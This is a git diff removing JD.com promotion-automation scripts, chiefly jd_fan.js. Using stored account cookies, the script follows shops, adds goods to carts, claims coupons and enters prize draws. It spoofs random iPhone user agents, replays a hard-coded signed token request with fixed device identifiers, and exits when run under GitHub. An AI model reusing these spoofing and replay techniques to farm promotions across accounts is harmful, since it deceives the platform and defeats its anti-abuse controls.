? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_fan.js b/backUp/jd_fan.js deleted file mode 100644 index 5f5203c..0000000 --- a/backUp/jd_fan.js +++ /dev/null @@ -1,580 +0,0 @@ -/** -粉丝互动,尽量自己设置定时,在0点和1点抽奖,白天基本没水 -修改温某的脚本,由于温某不干活,只能自己动手修改了 -注意:脚本会加购,脚本会加购,脚本会加购 -若发现脚本里没有的粉丝互动活动。欢迎反馈给我 -cron 34 5,18 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_fan.js -* */ -const $ = new Env('粉丝互动'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = []; -const activityList = [ - {"actid": "e49fe34c09e3447083992f4867588dd9", "endTime": 1633190398000}, - {"actid": "5bb3f94bdbca4165ae2af0d85c8e66b2", "endTime": 1632931199000}, - {"actid": "5dbc609b32bd4edf981a844079a467a9", "endTime": 1632931200000}, - {"actid": "de0f54a0769a45e0a369f8c6de9a0192", "endTime": 1633622361000}, - {"actid": "c475acc1f3214c038881abeff5cd6442", "endTime": 1633795200000} -]; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - await getUA(); - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.oldcookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.hotFlag = false; - for (let j = 0; j < activityList.length && !$.hotFlag; j++) { - $.activityInfo = activityList[j]; - $.activityID = $.activityInfo.actid; - console.log(`互动ID:${JSON.stringify($.activityInfo)}`); - console.log(`活动地址:https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/${$.activityID}?activityId=${$.activityID}`); - if($.activityInfo.endTime && Date.now() > $.activityInfo.endTime){ - console.log(`活动已结束\n`); - continue; - } - await main(); - await $.wait(1000); - console.log('\n') - } - } -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); - -async function main() { - $.token = ``; - await getToken(); - if($.token === ``){ - console.log(`获取token失败`);return; - } - console.log(`token:${$.token}`); - await $.wait(1000); - await getActCk(); - $.shopId = ``; - await takePostRequest('getSimpleActInfoVo'); - if($.shopid === ``){ - console.log(`获取shopid失败`);return; - } - console.log(`shopid:${$.shopid}`) - await $.wait(1000); - $.pin = ''; - await takePostRequest('getMyPing'); - if($.pin === ``){ - $.hotFlag = true; - console.log(`获取pin失败,该账号可能是黑号`);return; - } - $.cookie=$.cookie + `AUTH_C_USER=${$.pin}`; - await $.wait(1000); - await accessLogWithAD(); - $.cookie=$.cookie + `AUTH_C_USER=${$.pin}`; - await $.wait(1000); - $.activityData = {}; - $.actinfo = '';$.actorInfo='';$.nowUseValue = 0; - await takePostRequest('activityContent'); - if(JSON.stringify($.activityData) === `{}`){ - console.log(`获取活动详情失败`);return; - } - let date = new Date($.activityData.actInfo.endTime) - let endtime = date.getFullYear() + "-" + (date.getMonth() < 10 ? '0' + (date.getMonth() + 1) : (date.getMonth() + 1)) + "-" + (date.getDate() < 10 ? '0' + date.getDate() : date.getDate()) - console.log(`${$.actinfo.actName},${$.actinfo.shopName},当前积分:${$.nowUseValue},结束时间:${endtime},${$.activityData.actInfo.endTime}`); - let gitList = []; - let gitTypeList = ['One','Two','Three']; - for (let i = 0; i < gitTypeList.length; i++) { - let gitInfo = $.activityData.actInfo['giftLevel'+ gitTypeList[i]] || ''; - if(gitInfo){ - gitInfo = JSON.parse(gitInfo); - gitList.push(gitInfo[0].name); - } - } - console.log(`奖品列表:` + gitList.toString()); - if($.actorInfo.prizeOneStatus && $.actorInfo.prizeTwoStatus && $.actorInfo.prizeThreeStatus){ - console.log(`已抽过所有奖品`);return; - } - await $.wait(1000); - $.memberInfo = {}; - await takePostRequest('getActMemberInfo'); - if($.memberInfo.actMemberStatus === 1 && !$.memberInfo.openCard){ - console.log(`\n====================该活动需要入会,如需执行,请先手动入会====================`);return ; - } - await $.wait(1000); - $.upFlag = false; - await doTask(); - await luckDraw();//抽奖 -} - -async function luckDraw(){ - if($.upFlag){ - await takePostRequest('activityContent'); - await $.wait(1000); - } - let nowUseValue = Number($.activityData.actorInfo.fansLoveValue) + Number($.activityData.actorInfo.energyValue) ; - if (nowUseValue >= $.activityData.actConfig.prizeScoreOne && $.activityData.actorInfo.prizeOneStatus === false) { - console.log(`开始第一次抽奖`); - $.drawType = '01'; - await takePostRequest('startDraw'); - await $.wait(1000); - } - if (nowUseValue >= $.activityData.actConfig.prizeScoreTwo && $.activityData.actorInfo.prizeTwoStatus === false) { - console.log(`开始第二次抽奖`); - $.drawType = '02'; - await takePostRequest('startDraw'); - await $.wait(1000); - } - if (nowUseValue >= $.activityData.actConfig.prizeScoreThree && $.activityData.actorInfo.prizeThreeStatus === false) { - console.log(`开始第三次抽奖`); - $.drawType = '03'; - await takePostRequest('startDraw'); - await $.wait(1000); - } -} -async function doTask(){ - $.runFalag = true; - if($.activityData.actorInfo && !$.activityData.actorInfo.follow){ - console.log(`关注店铺`); - await takePostRequest('followShop'); - await $.wait(2000); - $.upFlag = true; - }else{ - console.log('已关注') - } - if ($.activityData.task1Sign && $.activityData.task1Sign.finishedCount === 0 && $.runFalag) { - console.log(`执行每日签到`); - await takePostRequest('doSign'); - await $.wait(2000); - $.upFlag = true; - }else{ - console.log(`已签到`) - } - let needFinishNumber = 0; - //浏览货品任务 - if ($.activityData.task2BrowGoods && $.runFalag) { - if($.activityData.task2BrowGoods.finishedCount !== $.activityData.task2BrowGoods.upLimit){ - needFinishNumber = Number($.activityData.task2BrowGoods.upLimit) - Number($.activityData.task2BrowGoods.finishedCount); - console.log(`开始做浏览商品任务`); - $.upFlag = true; - for (let i = 0; i < $.activityData.task2BrowGoods.taskGoodList.length && needFinishNumber > 0 && $.runFalag; i++) { - $.oneGoodInfo = $.activityData.task2BrowGoods.taskGoodList[i]; - if ($.oneGoodInfo.finished === false) { - console.log(`浏览:${$.oneGoodInfo.skuName || ''}`) - await takePostRequest('doBrowGoodsTask'); - await $.wait(2000); - needFinishNumber--; - } - } - }else{ - console.log(`浏览商品任务已完成`) - } - } - //加购商品任务 - if($.activityData.task3AddCart && $.runFalag){ - if($.activityData.task3AddCart.finishedCount !== $.activityData.task3AddCart.upLimit){ - needFinishNumber = Number($.activityData.task3AddCart.upLimit) - Number($.activityData.task3AddCart.finishedCount); - console.log(`开始做加购商品任务`); - $.upFlag = true; - for (let i = 0; i < $.activityData.task3AddCart.taskGoodList.length && needFinishNumber > 0 && $.runFalag; i++) { - $.oneGoodInfo = $.activityData.task3AddCart.taskGoodList[i]; - if ($.oneGoodInfo.finished === false) { - console.log(`加购:${$.oneGoodInfo.skuName || ''}`) - await takePostRequest('doAddGoodsTask'); - await $.wait(2000); - needFinishNumber--; - } - } - }else{ - console.log(`加购商品已完成`) - } - } - //分享任务 - if ($.activityData.task4Share && $.runFalag) { - if($.activityData.task4Share.finishedCount !== $.activityData.task4Share.upLimit){ - needFinishNumber = Number($.activityData.task4Share.upLimit) - Number($.activityData.task4Share.finishedCount); - console.log(`开始做分享任务`); - $.upFlag = true; - for (let i = 0; i < needFinishNumber && $.runFalag; i++) { - console.log(`执行第${i+1}次分享`); - await takePostRequest('doShareTask'); - await $.wait(2000); - } - }else{ - console.log(`分享任务已完成`) - } - } - //设置活动提醒 - if ($.activityData.task5Remind && $.runFalag) { - if($.activityData.task5Remind.finishedCount !== $.activityData.task5Remind.upLimit){ - console.log(`执行设置活动提醒`); - $.upFlag = true; - await takePostRequest('doRemindTask'); - await $.wait(2000); - }else{ - console.log(`设置活动提醒已完成`) - } - } - //领取优惠券 - if ($.activityData.task6GetCoupon && $.runFalag) { - if($.activityData.task6GetCoupon.finishedCount !== $.activityData.task6GetCoupon.upLimit){ - needFinishNumber = Number($.activityData.task6GetCoupon.upLimit) - Number($.activityData.task6GetCoupon.finishedCount); - console.log(`开始做领取优惠券`); - $.upFlag = true; - for (let i = 0; i < $.activityData.task6GetCoupon.taskCouponInfoList.length && needFinishNumber > 0 && $.runFalag; i++) { - $.oneCouponInfo = $.activityData.task6GetCoupon.taskCouponInfoList[i]; - if ($.oneCouponInfo.finished === false) { - await takePostRequest('doGetCouponTask'); - await $.wait(2000); - needFinishNumber--; - } - } - }else{ - console.log(`领取优惠券已完成`) - } - } - //逛会场 - if ($.activityData.task7MeetPlaceVo && $.runFalag) { - if($.activityData.task7MeetPlaceVo.finishedCount !== $.activityData.task7MeetPlaceVo.upLimit){ - console.log(`执行逛会场`); - $.upFlag = true; - await takePostRequest('doMeetingTask'); - await $.wait(2000); - }else{ - console.log(`逛会场已完成`) - } - } - -} - -async function takePostRequest(type){ - let url = ''; - let body = ``; - switch (type) { - case 'getSimpleActInfoVo': - url= 'https://lzkjdz-isv.isvjcloud.com/customer/getSimpleActInfoVo'; - body = `activityId=${$.activityID}`; - break; - case 'getMyPing': - url= 'https://lzkjdz-isv.isvjcloud.com/customer/getMyPing'; - body = `userId=${$.shopid}&token=${encodeURIComponent($.token)}&fromType=APP`; - break; - case 'activityContent': - url= 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activityContent'; - body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; - break; - case 'getActMemberInfo': - url= 'https://lzkjdz-isv.isvjcloud.com/wxCommonInfo/getActMemberInfo'; - body = `venderId=${$.shopid}&activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; - break; - case 'doBrowGoodsTask': - case 'doAddGoodsTask': - url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; - body = `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}&skuId=${$.oneGoodInfo.skuId}`; - break; - case 'doSign': - case 'followShop': - case 'doShareTask': - case 'doRemindTask': - case 'doMeetingTask': - url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; - body = `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}`; - break; - case 'doGetCouponTask': - url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; - body= `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}&couponId=${$.oneCouponInfo.couponInfo.couponId}`; - break; - case 'startDraw': - url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; - body= `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}&drawType=${$.drawType}`; - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(url,body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - dealReturn(type, data); - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function dealReturn(type, data) { - try { - data = JSON.parse(data); - }catch (e) { - console.log(`执行任务异常`); - console.log(data); - $.runFalag = false; - } - switch (type) { - case 'getSimpleActInfoVo': - if (data.result) { - $.shopid = data.data.venderId; - } - break; - case 'getMyPing': - if (data.data && data.data.secretPin) { - $.pin = data.data.secretPin - $.nickname = data.data.nickname - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'activityContent': - if (data.data && data.result && data.count === 0) { - $.activityData = data.data; - $.actinfo = $.activityData.actInfo - $.actorInfo = $.activityData.actorInfo - $.nowUseValue = Number($.actorInfo.fansLoveValue) + Number($.actorInfo.energyValue) ; - } else { - console.log(JSON.stringify(data)); - } - break; - case 'getActMemberInfo': - if (data.data && data.result && data.count === 0) { - $.memberInfo = data.data; - } - break; - case 'doSign': - if (data.result === true) { - console.log('签到成功') - } else { - console.log(data.errorMessage) - } - break; - case 'followShop': - case 'doBrowGoodsTask': - case 'doAddGoodsTask': - case 'doShareTask': - case 'doRemindTask': - case 'doGetCouponTask': - case 'doMeetingTask': - if (data.result === true) { - console.log('执行成功'); - } else { - console.log(data.errorMessage) - } - break; - case 'startDraw': - if(data.result && data.data){ - if(data.data.drawInfoType === 6){ - console.log(`抽奖获得:${data.data.name || ''}`); - }else if(data.data.drawInfoType === 0){ - console.log(`未抽中`); - }else{ - console.log(`抽奖结果:${data.data.name || ''}`); - } - } - console.log(JSON.stringify(data)); - break; - default: - console.log(JSON.stringify(data)); - } -} - -function getPostRequest(url,body) { - let headers = { - 'Host': 'lzkjdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Referer': 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/' + $.activityID + '?activityId=' + $.activityID + '&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined', - 'user-agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie, - } - return {url: url, method: `POST`, headers: headers, body: body}; -} -function accessLogWithAD() { - let config = { - url: `https://lzkjdz-isv.isvjcloud.com/common/accessLogWithAD`, - headers: { - 'Host': 'lzkjdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'user-agent': $.UA, - 'Referer': 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/' + $.activityID + '?activityId=' + $.activityID + '&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie, - }, - body:`venderId=${$.shopid}&code=69&pin=${encodeURIComponent($.pin)}&activityId=${$.activityID}&pageUrl=https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/${$.activityID}?activityId=${$.activityID}&shareuserid4minipg=&shopid=undefined&subType=app&adSource=` - } - return new Promise(resolve => { - $.post(config, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.cookie = $.oldcookie; - if ($.isNode()) - for (let ck of resp['headers']['set-cookie']) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getActCk() { - let config = { - url: `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/${$.activityID}?activityId=${$.activityID}&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined`, - headers: { - 'Host': 'lzkjdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Referer': 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/' + $.activityID + '?activityId=' + $.activityID + '&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined', - 'user-agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie, - } - } - return new Promise(resolve => { - $.get(config, (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.cookie = $.oldcookie; - if ($.isNode()) - for (let ck of resp['headers']['set-cookie']) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getToken() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.6&build=88852&client=android&d_brand=Xiaomi&d_model=RedmiK30&osVersion=11&screen=2175*1080&partner=xiaomi001&oaid=b30cf82cacfa8972&openudid=290955c2782e1c44&eid=eidAef5f8122a0sf2tNlFbi9TV+3rtJ+jl5UptrTZo/Aq5MKUEaXcdTZC6RfEBt5Jt3Gtml2hS+ZvrWoDvkVv4HybKpJJVMdRUkzX7rGPOis1TRFRUdU&sdkVersion=30&lang=zh_CN&uuid=290955c2782e1c44&aid=290955c2782e1c44&area=1_2803_2829_0&networkType=wifi&wifiBssid=unknown&uts=0f31TVRjBSsSbxrSGoN9DgdOSm6pBw5mcERcSRBBxns2PPMfI6n6ccc3sDC5tvqojX6KE6uHJtCmbQzfS%2B6T0ggVk1TfVMHdFhgxdB8xiJq%2BUJPVGAaS5duja15lBdKzCeU4J31903%2BQn8mkzlfNoAvZI7hmcbV%2FZBnR1VdoiUChwWlAxuEh75t18FqkjuqQHvhONIbhrfofUoFzbcriHw%3D%3D&uemps=0-0&harmonyOs=0&st=1625157308996&sign=e5ef32369adb2e4b7024cff612395a72&sv=110', - body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Flzkjdz-isv.isvjcloud.com%22%7D&', - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie - } - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.token = data['token'] - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function 